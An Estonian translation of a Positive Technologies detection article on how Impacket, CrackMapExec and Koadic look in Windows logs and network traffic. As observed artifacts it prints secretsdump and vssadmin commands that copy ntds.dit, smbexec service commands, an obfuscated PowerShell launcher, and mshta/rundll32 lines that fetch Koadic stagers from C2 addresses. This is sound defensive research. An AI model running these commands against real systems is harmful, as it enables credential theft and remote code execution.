Kuidas tuvastada rünnakuid Windows-infrastruktuurile: uurime häkkerite tööriistu.

Iga aastaga kasvab rünnakute arv ettevõtlussektoris: näiteks 2017. aastal registreeriti 13% rohkem unikaalseid juhtumeid võrreldes 2016. aastaga, aga 2018. aasta lõikes — 27% rohkem juhtumeid, kui eelneval perioodil. Sealhulgas ka selliseid, kus peamine tööriist on Windowsi operatsioonisüsteem. Aastatel 2017—2018 ründasid rühmitused APT Dragonfly, APT28, APT MuddyWater valitsus- ja sõjaväeliike Euroopas, Põhja-Ameerikas ja Saudia Araabias. Ja nad kasutasid selleks kolme tööriista — Impacket, CrackMapExec ja Koadic. Nende lähtekood on avatud ja saadaval GitHubis.

Oluline on märkida, et neid tööriistu ei kasutata esmaste tungimisteks, vaid ründe arendamiseks infrastruktuuris. Kurjategijad kasutavad neid erinevates ründeetappides, mis järgnevad perimeetri ületamisele. See, muide, on keeruline tuvastada ja sageli ainult tehnoloogiate abil kompromiteerimise jälgede tuvastamiseks võrgu liikluses või tööriistadega, mis võimaldavad tuvastada kurjategija aktiivseid tegevusi pärast tungimist infrastruktuuri. Tööriistad pakuvad mitmesuguseid funktsioone — failide edastamisest kuni registriga suhtlemise ja kaugmasinate käsu täitmiseni. Oleme uurinud neid tööriistu, et määrata nende võrgutegevus.

Mida me pidime tegema:

• Mõistma, kuidas häkkeri tööriistakomplekt töötab. Uurima, mida ründajad vajavad ärakasutamiseks ja millist tehnoloogiat nad saavad kasutada.
• Leida, mis ei pruugi olla tuvastatud esialgsetes rünnakuetappides. Uurimisetapp võib olla vahele jäetud, kuna ründajana võib tegutseda sisemine kurjategija, või seetõttu, et ründaja kasutab infrastruktuuris avastamata puudust. See loob võimaluse taastada kogu tema tegevuste ahel ja tekitab soovi avastada edasist liikumist.
• Vältida vale positiivseid avastamissekette. On oluline meeles pidada, et ainult luureandmete põhjal tehtud tegevuste tuvastamisel võivad sageli tekkida vead. Tavaliselt on infrastruktuuris piisavalt meetodeid, mis esmapilgul näivad olevat seaduslikud, et saada mingit teavet.

Mida need tööriistad ründajatele annavad? Kui tegemist on Impacketiga, siis saavad kurjategijad suure moodulite raamatukoguga, mida saab kasutada erinevates rünnaku etappides, mis järgivad perimeetri ületamist. Paljud tööriistad kasutavad Impacketi mooduleid enda sees — näiteks Metasploit. Sel on olemas dcomexec ja wmiexec kaugkäskude täitmiseks, secretsdump, et saada mälust kontosid, mis on lisatud Impacketist. Seetõttu tagab sellise raamatukogu õige aktiivsuse tuvastamine ka tuvastamise tuletisi.

CrackMapExec (või lihtsalt CME) loojad ei kirjutanud juhuslikult „Powered by Impacket”. Lisaks on CME-l sisseehitatud funktsionaalsus populaarsete stsenaariumide jaoks: seal on Mimikatz paroolide või nende hash'ide hankimiseks, Meterpreteri või Empire'i agendi integreerimine kaugkäitmiseks ning Bloodhound on ka kaasas.

Kolmas valitud tööriist on Koadic. See on suhteliselt uus, esitletud rahvusvahelisel häkkerite konverentsil DEFCON 25 aastal 2017 ning eristub ebatavalise lähenemise poolest: töötab läbi HTTP, JavaScripti ja Microsoft Visual Basic Scripti (VBS). Seda lähenemist nimetatakse 'living off the land': tööriist kasutab Windowsis sisseehitatud sõltuvusi ja teeke. Loojad nimetavad seda COM Command & Control või C3.

IMPACKET

Impacket'i funktsionaalsus on väga lai, alates AD-sisese luure tegemisest ja andmete kogumisest sisemistelt MS SQL serveritelt kuni tehnikateni, mis aitavad saada kasutajate sisselogimisandmeid: sealhulgas SMB relay rünnak ja ntds.dit faili hankimine domeeni kontrollerilt, mis sisaldab kasutajate paroolide hashe. Samuti täidab Impacket kaugelt käske nelja erineva meetodi kaudu: läbi WMI, Windowsi ajakava haldussüsteemi teenuse, DCOM ja SMB, ning selleks vajab see sisselogimisandmeid.

Secretsdump

Vaadakem secretsdump'i. See on moodul, mille sihtmärkideks võivad olla nii kasutajamasinad kui ka domeenikontrollerid. Selle abil on võimalik saada koopiaid LSA, SAM, SECURITY, NTDS.dit mälupiirkondadest, seetõttu võib seda näha erinevates rünnaku etappides. Mooduli töö esimene samm on autentimine SMB kaudu, mille jaoks on vajalik kas kasutaja parool või selle hash automaatsete Pass the Hash rünnakute läbiviimiseks. Seejärel järgneb päring juurdepääsuks teenuste juhtimise haldurile (SCM) ja registri juurdepääsu saamine winreg-protokolli kaudu, kasutades mida ründaja saab teada huvipakkuvate harude andmed ja saada tulemusi SMB kaudu.

Joonisel 1 näeme, kuidas winreg-protokolli kasutamisel toimub registri võtme juurde pääsemine. Selleks kasutatakse DCERPC käsku opcode'iga 15 — OpenKey.

Joonis 1. Registri võtme avamine winreg-protokolli kaudu

Juhul, kui juurdepääs võtme kaudu on saadud, salvestatakse väärtused käsu SaveKey abil opcode 20. Impacket teeb seda väga spetsiifiliselt. Ta salvestab väärtused faili, mille nimi on 8 juhuslikku sümbolit pluss .tmp. Lisaks edastatakse selle faili edasine väljavõte läbi SMB System32 kataloogist (joonis 2).

Joon. 2. Registeri võtme hankimise skeem kaugmasinast

Seega on sarnast tegevust võrku võimalik tuvastada teatud registriharude päringute kaudu protokolli winreg, spetsiifiliste nimede, käskude ja nende järjekorra järgi.

Lisaks jätab see moodul jälgi Windowsi sündmuste logisse, tänu millele on seda lihtne tuvastada. Näiteks käsu täitmise tulemusena

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

näeme Windows Server 2016 logis järgmist olulist sündmust järjekorda:

1. 4624 — eemalt sisselogimine.
2. 5145 — juurdepääsu kontroll eemalolevale teenusele winreg.
3. 5145 — juurdepääsu kontroll faili suhtes System32 kataloogis. Failil on juhuslik nimi, nagu eespool mainitud.
4. 4688 — cmd.exe protsessi loomine, mis käivitab vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Nagu paljudel post-exploitation tööriistadel, on ka Impacketil mooduleid kaugkäskude täitmiseks. Keskendume smbexecile, mis tagab interaktiivse käsuviiba kaugmasinas. Selle mooduli jaoks on samuti vajalik autentimine SMB kaudu, kas parooli või selle räsimärgi abil. Kujutisel 3 näeme selle tööriista kasutamise näidet, antud juhul on see kohaliku administraatori konsol.

Kujutis 3. Interaktiivne smbexec konsol

smbexeci töö esimene etapp pärast autentimist on SCM avamine käsuga OpenSCManagerW (15). Päring on tähelepanuväärne: selles on väli MachineName väärtusega DUMMY.

Kujutis 4. Päring Service Control Manageri avamiseks

Seejärel luuakse teenus käsu CreateServiceW (12) abil. smbexeci puhul näeme iga kord sama käsu koostamise loogikat. Kujutisel 5 on rohelisega märgitud muutumatud käsu parameetrid, kollasega need, mida ründaja saab muuta. Ei ole raske märgata, et täidetava faili nimi, selle kataloog ja output fail on muudetavad, kuid ülejäänut on palju keerulisem muuta, rikkumata Impacket mooduli toimimise loogikat.

Kujutis 5. Teenuse loomise päring Service Control Manageri kaudu

Smbexec jätab Windowsi sündmuste logisse selged jäljed. Windows Server 2016 sündmuste logis näeme interaktiivse käsurea koos ipconfig käsuga järgmisi võtme sündmusi:

1. 4697 — teenuse seadistamine ohvri masinas:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — cmd.exe protsessi loomine punktis 1 toodud argumentidega.
3. 5145 — juurdepääsuõiguste kontrollimine failile __output C$ kataloogis.
4. 4697 — teenuse seadistamine ohvri masinas.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — cmd.exe protsessi loomine punktis 4 toodud argumentidega.
6. 5145 — juurdepääsuõiguste kontrollimine failile __output C$ kataloogis.

Impacket on aluseks tööriistade arendusele rünnakute jaoks. See toetab peaaegu kõiki protokolle Windowsi infrastruktuuris ja omab seejuures oma eripära. Siia kuuluvad konkreetsed winreg päringud, SCM API kasutamine iseloomuliku käsu koostamisega, failinimede formaat ja SMB jagamine SYSTEM32.

CRACKMAPEXEC

CME tööriist on mõeldud peamiselt automatiseerima rutiinseid tegevusi, mida ründaja peab tegema võrgu sees liikumiseks. See võimaldab töötada koos tuntud Empire agendi ja Meterpreteriga. CME võib käsklusi varjata, et neid salaja täita. Kasutades Bloodhoundi (eraldi tööriist, mida kasutatakse luuramiseks), suudab ründaja automatiseerida aktiivse domeenihalduri sessiooni otsimise.

Bloodhound

Bloodhound kui iseseisev tööriist võimaldab teostada edasijõudnud luuret võrgu sees. See kogub teavet kasutajatest, masinatest, rühmadest, sessioonidest ja tuleb PowerShelli skripti või binaarfailina. Teabe kogumiseks kasutatakse LDAP-i või SMB-protokolle. CME integreerimismoodul võimaldab laadida Bloodhoundi ohvri masinasse, käivitada seda ja saada kogutud andmeid pärast käivitamist, automatiseerides süsteemis tegutsemist ja muutes need vähem silmatorkavaks. Bloodhoundi graafiline liides esitab kogutud andmed graafidena, võimaldades leida lühima tee ründaja masinast domeenihaldurini.

Joon. 6. Bloodhoundi liides

Ohvri masinaga moduli kaudu mõjutab ülesande loomine ATSVC ja SMB abil. ATSVC on Windowsi ülesannete ajastaja liides. CME kasutab selle funktsiooni NetrJobAdd (1) ülesannete loomiseks võrgu kaudu. Näide sellest, mida CME moodul saadab, on kujutatud joonisel 7: see on cmd.exe käsu väljakutse ja obfuskeeritud kood argumendina XML-formaadis.

Joonis 7. Ülesande loomine CME kaudu

Pärast seda, kui ülesanne on täitmiseks saadetud, käivitab sihtmasin ise Bloodhoundi, ning seda saab jälgida traadita. Moodulile on iseloomulikud LDAP-päringud standardsete rühmade, kõigi masinate ja kasutajate nimekirja, samuti aktiivsete kasutajaseansside teabe saamine SRVSVC NetSessEnum päringu abil.

Joonis 8. Aktiivsete seansside nimekirja saamine SMB kaudu

Lisaks kaasneb Bloodhoundi käivitamisega sihtmasinas, millel on sisse lülitatud auditeerimine, sündmusega ID 4688 (protsessi loomine) ja protsessi nimi „C:WindowsSystem32cmd.exe“. Tähelepanuväärsed on selle käsurea argumendid:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Moodul enum_avproducts on funktsionaalsuse ja rakenduse poolest väga huvitav. WMI võimaldab WQL päringukeelt kasutades hankida Windowsi erinevate objektide andmeid, mida kasutab ka see CME moodul. See genereerib päringud AntiSpywareProduct ja AntiМirusProduct klassidelt, et saada teavet masinas olevate kaitsemeetmete kohta. Nõutavate andmete saamiseks moodul loob ühenduse nimede ruumiga rootSecurityCenter2, seejärel koostab WQL päringu ja saab vastuse. Joonisel 9 on esitatud selliste päringute ja vastuste sisu. Meie näites leidsime Windows Defenderi.

Joonis 9. enum_avproducts mooduli võrguaktiivsus

Sageli võib WMI auditi (Trace WMI-Activity) üritus, milles on leidnud kasulikke andmeid WQL päringute kohta, olla välja lülitatud. Kuid kui see on sisse lülitatud ja enum_avproducts skripti käivitatakse, salvestatakse sündmus ID 11. Selles sisaldub kasutajanimi, kes päringu esitas, ning nimi ruumis rootSecurityCenter2.

Iga CME moodulil on oma artefaktid, olgu need siis spetsiifilised WQL päringud või teatud tüüpi ülesande loomine ülesande ajakavaldusega koos obfuskatsiooniga, samuti Bloodhound’i jaoks iseloomulik aktiivsus LDAP ja SMB-s.

KOADIC

Koadici eripära on Windowsi sisseehitatud JavaScripti ja VBScripti tõlkijate kasutamine. Sel määral järgib see trendi living off the land — see tähendab, et tal pole väliseid sõltuvusi ning ta kasutab Windowsi standardseid vahendeid. See on täielik Command & Control (CnC) tööriist, kuna pärast nakatumist installitakse masinasse „implantaadi”, mis võimaldab selle üle kontrolli. Sellist masinat nimetatakse Koadicis „zombiks”. Kui ohvril pole piisavalt õigusi, et täielikult töötada, siis Koadic suudab neid tõsta, kasutades konto kontrolli ümbersõidu (UAC bypass) tehnikaid.

Koadici käsurealiides

Ohver peab ise algatama suhtluse Command & Control serveriga. Selleks peab ta pöörduma ettevalmistatud URI poole ja saama Koadici põhikeha üht ühe etapi abil. Joonisel 11 on näidatud näide mshta etapi jaoks.

Joonis 11. Sessiooni algatamine CnC-serveriga

WS vastuse kaudu on selge, et täitmine toimub WScript.Shell kaudu ning muutujad STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE sisaldavad võtmeinfot praeguse seansi parameetrite kohta. See on esimene päring-vastus paar HTTP-ühenduses CnC-serveriga. Edasi minevad päringud on otseselt seotud kutsutud moodulite (implanti) funktsionaalsusega. Kõik Koadici moodulid töötavad ainult aktiivse seansi korral CnC-ga.

Mimikatz

Nii nagu CME töötab Bloodhoundiga, töötab Koadic Mimikatziga eraldi programmina ja selle käitamiseks on mitu viisi. Allpool on toodud paar päring-vastus Mimikatz implandi laadimiseks.

Joon. 12. Mimikatz edastamine Koadicusse

On märgata, kui palju on URI formaat päringus muutunud. See sisaldab väärtust csrf muutujas, mis vastutab valitud mooduli eest. Ärge pöörake tähelepanu selle nimele; me kõik teame, et CSRF all mõistetakse tavaliselt midagi muud. Vastuseks saadi kõik sama põhikeha Koadic, kuhu oli lisatud Mimikatziga seotud kood. See on piisavalt mahukas, seega vaatame võtmehetki. Meie ees on base64 kodeeritud Mimikatz teek, serialiseeritud .NET klass, mis seda injekteerib, ja argumendid Mimikatz käivitamiseks. Täitmise tulemus edastatakse võrgu kaudu avatud kujul.

Fig. 13. Mimikatz'i täitmise tulemus eemalt masinal

Exec_cmd

Koadicis on ka mooduleid, mis suudavad kaugjuhtimisega käske täita. Siin näeme sama URI genereerimise meetodit ja tuttavaid muutujaid sid ja csrf. Exec_cmd mooduli puhul lisatakse kehas kood, mis suudab käivitada shell-käske. Allpool on näidatud selline kood, mis sisaldub CnC-serveri HTTP-vastuses.

Fig. 14. exec_cmd implantaadi kood

GAWTUUGCFI muutujaga, millel on tuttav WS atribuut, on koodide täitmiseks vajalik. Selle abil kutsub implant shell'i, töötledes kahte koodiharu — shell.exec, tagastades väljundvoo andmeid, ja shell.run, ilma tagastamiseta.

Koadic ei ole tüüpiline tööriist, kuid tal on oma artefaktid, mille järgi saab seda leida legitiimses liikluses:

• spetsiifiliste HTTP-päringute koostamine,
• winHttpRequests API kasutamine,
• WScript.Shell objekti loomine ActiveXObjecti kaudu,
• suur täidetav kehamass.

Esialgne ühendus algatab ststage'i, seetõttu on võimalik tuvastada selle aktiivsus Windowsi sündmuste kaudu. mshta puhul on see sündmus 4688, mis näitab protsessi loomist käivitamisatribuutidega:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Koadici täitmise ajal võib näha ka teisi 4688 sündmusi atribuutidega, mis iseloomustavad seda suurepäraselt:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Järeldused

Trend, mis kasutatakse ära olemasolevaid Windows'i tööriistu ja mehhanisme. Näeme, et sellised populaarsed tööriistad nagu Koadic, CrackMapExec ja Impacket, järgides seda põhimõtet, satuvad üha sagedamini APT aruannetesse. Nende tööriistade forkid GitHubis kasvavad samuti, täiesti uusi on juba umbes tuhat. Trend muutub üha populaarsemaks oma lihtsuse tõttu: pahatahtlikud ei vaja kolmandate osapoolte tööriistu, need on juba ohvrite arvutites olemas ja aitavad kaitset ületada. Oleme keskendunud võrgu tegevusele: iga eespool kirjeldatud tööriist jätab oma jäljed võrgu liikluses; nende põhjalik uurimine on võimaldanud meil õpetada meie toodet. PT Network Attack Discovery neid avastamiseks, mis lõpuks aitab uurida kogu küberintsidendi ahelat, milles nad osalevad.

Autorid:

• Anton Tyurin, ekspertteenuste osakonna juht, PT Expert Security Center, Positive Technologies
• Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies

Allikas: habr.com